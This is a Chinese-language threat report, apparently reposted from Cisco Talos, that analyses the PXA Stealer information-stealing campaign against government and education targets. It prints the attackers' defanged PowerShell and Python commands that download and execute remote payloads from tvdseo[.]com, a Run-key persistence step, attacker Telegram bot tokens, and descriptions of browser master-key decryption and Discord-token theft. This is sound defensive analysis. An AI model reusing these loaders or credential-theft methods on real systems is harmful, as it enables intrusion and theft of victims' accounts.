东南亚

疑似越南APT组织CoralRaider使用新型恶意程序 PXA Stealer攻击政府和教育部门窃取敏感信息

  • 思科 Talos 发现了一个由越南语威胁行为者发起的新的信息窃取活动,目标是欧洲和亚洲的政府和教育机构。
  • 我们发现了一个名为 PXA Stealer 的新 Python 程序,它以受害者的敏感信息为目标,包括各种在线帐户的凭据、VPN 和 FTP 客户端、财务信息、浏览器 cookie 以及游戏软件的数据。
  • PXA Stealer 能够解密受害者的浏览器主密码并利用它窃取各种在线账户存储的凭据。
  • 攻击者在此次活动中使用的批处理脚本采用了复杂的混淆技术。
  • 我们发现攻击者在 Telegram 频道“Mua Bán Scan MINI”中出售凭证和工具,该频道也是CoralRaider攻击者活动的地方,但我们不确定攻击者是否属于 CoralRaider 威胁组织或其他越南网络犯罪组织。

受害者研究和针对性信息

根据 Talos 遥测数据,攻击者的目标是印度的教育部门以及瑞典和丹麦等欧洲国家的政府组织。

攻击者的动机是窃取受害者的信息,包括各种在线账户的凭证、浏览器登录数据、cookie、自动填充信息、信用卡详细信息、各种加密货币在线和桌面钱包的数据、已安装的 VPN 客户端的数据、游戏软件账户、聊天信使、密码管理器和 FTP 客户端。

攻击者的基础设施

Talos 发现攻击者在域名 tvdseo[.]com 的“/file”、“/file/PXA/”、“/file/STC/”和“/file/Adonis/”目录中托管恶意脚本和窃取程序。该域名属于越南一家专业搜索引擎优化 (SEO) 服务提供商;但是,我们不确定攻击者是否已入侵该域名来托管恶意文件,还是已订阅以获得合法访问权限,同时仍将其用于恶意目的。

我们发现攻击者正在使用 Telegram 机器人窃取受害者的数据。我们对有效载荷 PXA Stealer 的分析揭示了一些 Telegram 机器人令牌和聊天 ID - 由攻击者控制。

攻击者控制的 Telegram令牌​​
7545164691:AAEJ 4E2f-4KZDZrLID8hSRSJmPmR1h-a2M4 <br><br>7414494371:AAGgbY 4XAvxTWFgAYiAj6OXVJOVrqgjdGVs
攻击者控制的Telegram聊天ID
-1002174636072 <br><br>-1002150158011 <br><br>-4559798560 <br><br>-4577199885 <br><br>-4575205410

攻击者的地下活动

我们识别出攻击者的 Telegram 帐户“Lone None”,该帐户被硬编码在 PXA Stealer 程序中,并分析了该帐户的各种细节,包括越南国旗图标和越南公安部徽章图片,这与我们对攻击者来自越南的判断一致。此外,我们在 PXA Stealer 程序中发现了越南语评论,这进一步加强了我们的判断。

攻击者的 Telegram 账户包含个人资料数据,其中包括一个私人防病毒检查网站的链接,该网站允许用户或买家评估恶意软件程序的检测率。该网站为潜在威胁行为者提供了一个平台,让他们可以在购买恶意软件之前评估其有效性和隐身能力,这表明威胁行为者的运营服务水平和专业性非常高。

我们还发现攻击者活跃于地下 Telegram 频道“Mua Bán Scan MINI”,主要出售 Facebook 账户、Zalo 账户、SIM 卡、凭证和洗钱数据。Talos 观察到,这名越南攻击者也出现在 CoralRaider 攻击者所在的 Telegram 群组中。但是,我们不确定攻击者是 CoralRaider 团伙的成员还是其他越南网络犯罪集团的成员。

Talos 发现,攻击者还在推广另一个地下 Telegram 频道“Cú Black Ads – Dropship”,通过共享一些自动化工具来管理其频道中的大量用户帐户,并交换或出售与社交媒体帐户、代理服务和批量帐户创建工具相关的信息。

攻击者在团伙中共享的工具是用于管理多个用户账户的自动化实用程序。这些工具包括 Hotmail 批量创建工具、电子邮件挖掘工具和 Hotmail cookie 批量修改工具。威胁行为者提供的压缩包通常不仅包含这些工具的可执行文件,还包含其源代码,允许用户根据需要进行修改。

来自电报频道的 Hotmail 批量创建工具。

来自电报频道的Hotmail cookie批量修改工具。

我们发现攻击者并非免费共享所有工具,其中一些工具要求用户将唯一密钥发送回 Telegram 频道管理员以激活软件。此过程确保只有经过审查或已为该工具付费的用户才能访问其全部功能。我们还发现这些工具分发到其他网站,例如 aehack[.]com,突出显示他们正在销售这些工具。此外,还有一个YouTube频道提供有关如何使用这些工具的教程,进一步促进了它们的广泛使用,并展示了有组织的努力来营销和指导潜在用户使用他们的应用程序。

感染链

根据我们的遥测数据,攻击者通过发送带有 ZIP 文件附件的网络钓鱼电子邮件获得初始访问权限。ZIP 文件包含一个用 Rust 语言编译的恶意加载程序可执行文件和一个名为 Photos 的隐藏文件夹。隐藏文件夹还有其他重复文件夹,例如 Documents 和 Images,其中包含混淆的 Windows 批处理脚本和诱饵 PDF 文档。

当受害者解压附件 ZIP 文件时,隐藏文件夹和恶意 Rust 加载程序可执行文件将被投放到受害者机器上。当受害者运行恶意 Rust 加载程序可执行文件时,它会加载并执行投放的隐藏文件夹中的多个混淆批处理脚本。

我们使用Cyber​​Chef对 Windows 批处理脚本进行反混淆处理,该过程中的每个步骤都至关重要,需要精确执行才能实现准确的反混淆。首先,我们使用正则表达式 (regex) 过滤掉由大写和小写字母(A 到 Z)组成的随机字符。这些随机字符串的长度从 6 到 9 个字符不等,并用“%”符号括起来。接下来,我们过滤掉“^”符号并删除任何剩余的大写和小写字母(A 到 Z)以及特殊字符“_”、“/'(?)”、“$”、“#”和“[]”。最后,我们消除了“%”符号,这样我们就能够成功对脚本进行反混淆处理并显示其 PowerShell 命令。

o混淆的批处理脚本片段 反混淆后的批处理脚本片段

批处理脚本同时执行 PowerShell 命令,在受害者计算机上执行以下操作:

  • 打开 Glassdoor 工作申请表的诱饵 PDF 文档。

  • 通过硬编码 URL“hxxps[://]tvdseo[.]com/file/synaptics[.]zip”下载伪装成“synaptics.zip”的便携式 Python 3.10 软件包档案,该档案托管在攻击者控制的域上,然后将其保存在用户配置文件的临时文件夹中以及具有随机文件名的公共用户文件夹中,然后提取它们。

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo [Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12; (New-Object -TypeName System[.]Net[.]WebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip', [System[.]IO[.]Path]::GetTempPath() + 'EAnLaxUKaI[.]zip')

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo [Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12; (New-Object -TypeName System[.]Net[.]WebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip', 'C:\Users\Public\oZHyMUy4qk[.]zip')

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo $dst = [System[.]IO[.]Path]::Combine([System[.]Environment]::GetFolderPath('LocalApplicationData'), 'EAnLaxUKaI'); Add-Type -AssemblyName System[.]IO[.]Compression[.]FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force $dst* } else { New-Item -ItemType Directory -Force $dst } ; [System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory([System[.]IO[.]Path]::Combine([System[.]IO[.]Path]::GetTempPath(), 'EAnLaxUKaI[.]zip'), $dst)

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo Add-Type -AssemblyName System[.]IO[.]Compression[.]FileSystem; [System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory('C:/Users/Public/oZHyMUy4qk[.]zip', 'C:/Users/Public/oZHyMUy4qk')

  • 然后,它创建并运行一个名为“WindowsSecurity.lnk”的 Windows 快捷方式文件,在用户配置文件的临时文件夹中将 base64 编码的命令配置为命令行参数,并使用快捷方式文件的路径配置“Run”注册表项以建立持久性。

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo $s =

payload=importbase64;exec(base64.b64decode(′aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS9maWxlL1BYQS9QWEFfUFVSRV9FTkMnKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpKSk=′));

obj = New-Object -ComObject WScript.Shell;$link =

obj.CreateShortcut(

env:LOCALAPPDATA\WindowsSecurity.lnk);

link.WindowStyle=7;

link.TargetPath =

env:LOCALAPPDATA\EAnLaxUKaI\synaptics.exe;

link.IconLocation = C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13;

link.Arguments=−c‘

payload`";$link.Save()

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\Marsi\AppData\Local\WindowsSecurity.lnk' -Force

  • Windows 快捷方式文件包含一行 Python 脚本,使用伪装的可移植 Python 可执行文件从远程服务器下载 base64 编码的 Python 程序。下载的程序包含禁用受害者计算机上的防病毒程序的指令。

cmd[.]exe /c start "" /min C:\Users\Public\oZHyMUy4qk\synaptics[.]exe -c "import urllib[.]request;import base64;exec(base64.b64decode(urllib[.]request[.]urlopen('hxxps[://]tvdseo[.]com/file/PXA/PXA_PURE_ENC')[.]read()[.]decode('utf-8')))"

  • 接下来,批处理脚本继续执行另一个 PowerShell 命令,该命令下载 PXA Stealer Python 程序,并使用伪装的可移植 Python 可执行文件“synaptics.exe”在受害者的机器上执行该程序。

cmd[.]exe /c start /min C:\Users\Public\oZHyMUy4qk\synaptics[.]exe -c import urllib[.]request;import base64;exec(base64.b64decode(urllib[.]request[.]urlopen('hxxps[://]tvdseo[.]com/file/PXA/PXA_BOT')[.]read()[.]decode('utf-8')))

  • 另一个名为“WindowsSecurity.bat”的批处理脚本被放入受害者机器的Windows启动文件夹中以建立持久性,其中包含下载并执行上一段所示的PXA Stealer Python程序的命令。

PXA Stealer 瞄准受害者的敏感数据

PXA Stealer 是一个 Python 程序,具有广泛的功能,可以窃取受害者机器上的各种数据。

当 PXA Stealer 执行时,它会通过执行“任务终止”命令来终止硬编码列表中的各种进程,包括端点检测软件、网络捕获和分析进程、VPN 软件、加密货币钱包应用程序、文件传输客户端应用程序以及 Web 浏览器和即时通讯应用程序进程。

PXA Stealer 的检测规避功能。

窃取程序能够解密浏览器主密钥,该密钥是 Google Chrome 和其他基于 Chromium 的浏览器等网络浏览器使用的加密密钥,用于保护敏感信息,包括本地系统上以加密形式存储的密码、cookie 和其他数据。窃取程序访问位于用户配置文件目录的浏览器文件夹中的主密钥文件“Local State”,其中包含用于加密存储在“登录数据”文件中的用户数据的加密密钥信息,并使用“CryptUnprotectData”函数对其进行解密。这使攻击者能够访问存储的凭据和其他敏感的浏览器信息。

PXA Stealer的浏览器主密钥解密功能。

窃取程序还会尝试解密存储在 key4.db 文件中的主密钥。Key4.db 是 Firefox(以及其他一些基于 Mozilla 的浏览器)用来存储加密密钥的数据库,特别是用于加密敏感数据(例如已保存的密码)的主密钥。窃取程序的“getKey”函数旨在使用 AES 或 3DES 加密方法(具体取决于存储密钥中使用的加密)从 key4.db 文件中提取和解密密钥。

PXA Stealer的浏览器主密钥解密功能。

窃取程序尝试从浏览器应用程序的profiles.ini文件中检索用户配置文件路径,包括Mozilla Firefox、Pale Moon、SeaMonkey、Waterfox、Mercury、k-Melon、IceDragon、Cyber​​fox和BlackHaw,以便进一步处理,例如提取已保存的密码或其他用户数据。

窃取程序从浏览器的登录数据文件中收集受害者的登录信息。窃取程序的函数“get_ch_login_data”从存储登录信息的数据库“login_db”中提取登录数据,包括 URL、用户名和密码。提取的登录信息被格式化为包含 URL、用户名、解密密码、浏览器和个人资料的字符串。

对于浏览器登录数据库中的每个登录条目,该函数都会检查 URL 是否包含窃取程序中硬编码的任何重要关键字,如果找到匹配项,则将登录信息保存在用户配置文件临时目录中的“浏览器数据”文件夹中名为“Important_Logins.txt”的单独文件中。该函数将所有结果保存到“浏览器数据”文件夹中的“All_Passwords.txt”中,用于数据库中找到的其他登录数据。

PXA Stealer 的登录凭据窃取功能。

窃取程序执行另一个函数“get_ch_cookies”,从指定浏览器的 Cookie 数据库中提取 Cookie,解密它们,并将结果保存到文件中。首先,它会检查 Cookie 数据库文件是否存在于指定的配置文件目录中,然后解锁 Cookie 数据库文件。然后,它会将数据库文件复制到临时文件夹,并通过执行 SQL 查询来处理它,以从 Cookie 数据库文件中检索 Cookie 信息,包括主机密钥、名称、路径、加密值、到期时间、安全标志和仅 HTTP 标志。

如果发现任何 Facebook cookie,它们将被连接到一个名为“fb_formatted”的字符串,并调用另一个函数“ADS_Checker()”来根据 Facebook cookie 检查广告,并将结果写入名为“Facebook_Cookies.txt”的文件中。任何其他 cookie 信息都将写入以浏览器和配置文件命名的文本文件中。最后,该函数将删除临时 cookie 数据库文件。

PXA Stealer 的浏览器 cookie 窃取功能。

另一个窃取程序样本针对 Chrome、Chrome SxS 和 Chrome(x86) 浏览器,通过 URL hxxps://tvdseo[.]com/file/PXA/Cookie_Ext.zip 下载并执行 cookie 窃取程序 JavaScript。Cookie 窃取程序 JavaScript 使用 token 连接到 Telegram 机器人,脚本中硬编码的聊天 ID 收集 cookie 并通过 POST 方法将其发送给攻击者的 Telegram 机器人。

浏览器 cookie 窃取者 JavaScript。

接下来,窃取程序瞄准存储在浏览器数据库“webappsstore.sqlite”中的受害者信用卡信息。该函数从浏览器的 Web 数据数据库中提取并解密已保存的信用卡信息。它检查信用卡数据库文件“cards_db”是否存在,并将其复制到用户的配置文件临时文件夹。它执行 SQL 查询以检索信用卡信息,包括卡上姓名、到期月份/年份、加密卡号和修改日期。然后,它在解密的主密钥的帮助下使用函数“decrypt_ch_value”解密加密卡号。它将信用卡信息写入文本文件,并以浏览器和配置文件命名。最后,它获取找到的信用卡信息的数量并删除“cards_db”文件的临时副本。

PXA Stealer 的信用卡数据窃取功能。

窃取程序从浏览器的数据库中提取自动填充表单数据并将其保存到浏览器配置文件位置中名为“AutoFills”的文件夹中的文本文件中,文件名格式为“browser_

browser_

profile.txt”。

PXA Stealer 的自动填充数据窃取功能。

窃取者还会提取并验证存储在各种浏览器或 Discord 应用程序中的 Discord 令牌。它会检查受害者机器上不同浏览器数据库文件以及 Discord、Discord Canary、Lightcord 和 Discord PTB 的 Discord 特定应用程序文件中存储的加密 Discord 令牌,方法是使用正则表达式“r"dQw4w9WgXcQ:[^.['(.)'].$][^"]")”搜索字符串。找到加密令牌后,它会使用提取的主密钥(用于从“Local State”文件加密令牌)通过函数“decrypt_dc_tokens()”对其进行解密。然后,它会验证解密的 Discord 令牌以检查它是否是合法的 Discord 令牌,并将其与浏览器名称关联起来进行存储。除了搜索加密令牌外,该函数还会通过搜索与正则表达式模式“[\w-]{24}.[\w-]{6}.[\w-]{27}”匹配的字符串来查找未加密的 Discord 令牌,以查找标准令牌和“mfa.[\w-]{84}” 表示 Discord 应用程序或 Web 浏览器的 levelDB 目录中“.log”和“.ldb”文件中的多重身份验证 (MFA) 令牌,其中结构化键值数据以 levelDB 数据库格式存储。

PXA Stealer 的 Discord 令牌窃取功能。

窃取程序执行另一个函数,从 MinSoftware 应用程序数据库中提取用户信息。它在受害者机器文件夹(包括桌面、文档、下载、OneDrive 以及驱动器号为“D:\”和“E:\”的逻辑分区)中搜索数据库文件“db_maxcare.sqlite”。找到后,它会执行 SQL 查询以在数据库文件的帐户表中进行搜索并提取以下数据:

  • uid:用户标识符。
  • pass:用户密码。
  • fa2:双因素身份验证数据。
  • 电子邮件:用户的电子邮件地址。
  • passmail:电子邮件密码。
  • cookie1:可能是会话或身份验证 cookie。
  • token:可能是身份验证令牌。
  • 信息:账户信息。

MinSoftware 应用程序 PXA Stealer 的数据窃取功能。

该窃取程序还具有使用通过 cookie 验证的会话与 Facebook Ads Manager 和 Graph API 进行交互的功能。

  • 它获取 Facebook cookie 并从中解析会话信息(例如“c_user”),然后尝试访问令牌。
  • 检索并格式化有关用户广告帐户的详细信息,例如帐户状态、货币、余额、支出上限和支出金额。
  • 获取用户的 Facebook 页面列表,包括页面名称、链接、喜欢、关注者和验证状态。
  • 它检索具有管理用户的组列表。
  • 它提取与帐户关联的业务管理器 ID,并检索每个业务管理器下的广告帐户信息。
  • 它使用 Facebook 数据来确定业务管理器的广告帐户限制。
  • 它从 Facebook 移动页面中提取令牌以方便验证请求。

PXA Stealer 的 Facebook 数据窃取功能。

在收集目标受害者的数据(包括登录数据、浏览器 cookie、自动填充信息、信用卡详细信息、Facebook 广告帐户数据、加密货币钱包数据、Discord 代币详细信息和 MinSoft 应用程序数据)后,窃取者会在用户配置文件的临时文件夹中创建一个包含所有文件的 ZIP 存档,文件名格式为“CountryCode_Victim 的公共 IP Computername.zip”,压缩级别高达 9。

在创建存档并浏览目标文件夹时,窃取程序会排除一些目录,包括 user_data、emoji、tdummy、dumps、webview、update-cache、GPUCache、DawnCache、temp、Code Cache 和 Cache。它还会尝试在将每个文件添加到存档时重命名它们。存档被泄露到攻击者的 Telegram 机器人中。窃取受害者的数据后,窃取程序会删除包含收集到的用户数据的文件夹。

PXA Stealer 的渗漏功能。

相关文章

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

返回顶部按钮